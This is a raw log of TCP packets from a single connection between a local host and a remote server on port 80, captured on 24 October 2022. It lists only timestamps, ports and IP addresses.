Oct 24, 2022 11:08:53.893110991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893146038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893166065 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893182039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893207073 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893213987 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893240929 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893254995 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893274069 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893301964 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893306017 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893335104 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893342018 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893368006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893398046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893414974 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893433094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893465996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893477917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893495083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893526077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893537998 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893557072 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893588066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893606901 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893615007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893645048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893667936 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893676996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893707991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893729925 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893738985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893771887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893795967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893810034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893821955 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893836975 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893852949 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893882990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893898964 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893913984 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893944979 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.893956900 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.893980026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894009113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894021034 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894038916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894074917 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894077063 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894105911 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894133091 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894145966 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894165039 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894192934 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894205093 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894222021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894252062 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894265890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894279957 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894309044 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894318104 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894345045 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894407988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894433975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894439936 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894467115 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894515038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894524097 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894546032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894555092 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894576073 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894608021 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894618988 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894634962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894664049 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894682884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894697905 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894727945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894747019 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894779921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894810915 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894824028 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894840956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894898891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894900084 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.894943953 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894973993 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.894984007 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895004034 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895030975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895045996 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895057917 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895087004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895097971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895112991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895132065 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895149946 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895150900 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895170927 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895194054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895195961 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895215988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895234108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895236015 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895256996 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895277977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895279884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895298004 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895317078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895324945 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895339012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895358086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895356894 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895380020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895400047 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895402908 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895421028 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895438910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895445108 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895467043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895483017 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895484924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895507097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895526886 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895535946 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895548105 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895565987 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895579100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895592928 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895612001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895631075 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895648003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.895648956 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.895682096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.910573006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910603046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910623074 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910641909 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910660982 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910679102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910696983 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910715103 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.910743952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.910795927 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916131020 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916188002 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916224003 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916255951 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916254997 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916286945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916317940 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916320086 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916349888 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916363955 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916378975 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916409969 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916412115 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916445017 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916462898 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916476011 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916507006 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916524887 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916534901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916565895 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916582108 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916595936 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916623116 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916652918 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916659117 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916681051 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916697979 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916712046 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916743040 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916759968 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916775942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916805029 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916822910 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916836977 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916870117 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916898012 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916906118 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916929007 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916958094 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.916964054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.916986942 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917018890 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917026997 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917062998 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917097092 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917104959 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917135954 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917157888 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917166948 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917202950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917213917 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917232990 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917263031 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917279005 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917294025 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917324066 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917346001 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917355061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917385101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917413950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917416096 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917443037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917459011 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917474985 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917505026 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917525053 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917535067 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917565107 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917594910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917598009 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917623043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917640924 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917654991 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917685032 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917711020 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917715073 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917745113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917772055 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917773008 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917802095 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917824030 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917831898 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917862892 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917876959 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917893887 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917920113 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917951107 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.917959929 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.917979956 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918009043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918011904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918044090 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918073893 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918075085 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918103933 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918119907 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918133974 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918159008 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918180943 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918210983 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918241978 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918275118 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918303967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918313026 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918333054 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918364048 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918380022 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918394089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918425083 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918427944 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918453932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918473959 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918484926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918515921 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918529987 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918549061 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918579102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918595076 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918606043 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918636084 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918664932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918664932 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918694019 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918716908 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918725967 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918754101 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918771982 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918788910 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918819904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918842077 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918848038 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918896914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918906927 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918940067 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918968916 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.918992043 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.918994904 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919023037 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919044971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919053078 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919081926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919101954 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919110060 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919140100 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919161081 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919167995 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919198036 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919219971 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919228077 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919256926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919285059 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919287920 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919316053 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919332027 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919348001 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919377089 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919399023 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919406891 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919437885 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919460058 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919467926 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919493914 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919517040 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919519901 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919548988 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919575930 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919576883 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919606924 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919634104 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919660091 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919662952 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919687033 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919687986 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919715881 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919735909 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919744968 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919773102 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919787884 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919801950 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919832945 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919857025 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919858932 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919891119 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919913054 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.919950962 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.919986010 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920001030 CEST	49692	80	192.168.2.3	131.188.40.189
Oct 24, 2022 11:08:53.920015097 CEST	80	49692	131.188.40.189	192.168.2.3
Oct 24, 2022 11:08:53.920041084 CEST	80	49692	131.188.40.189	192.168.2.3
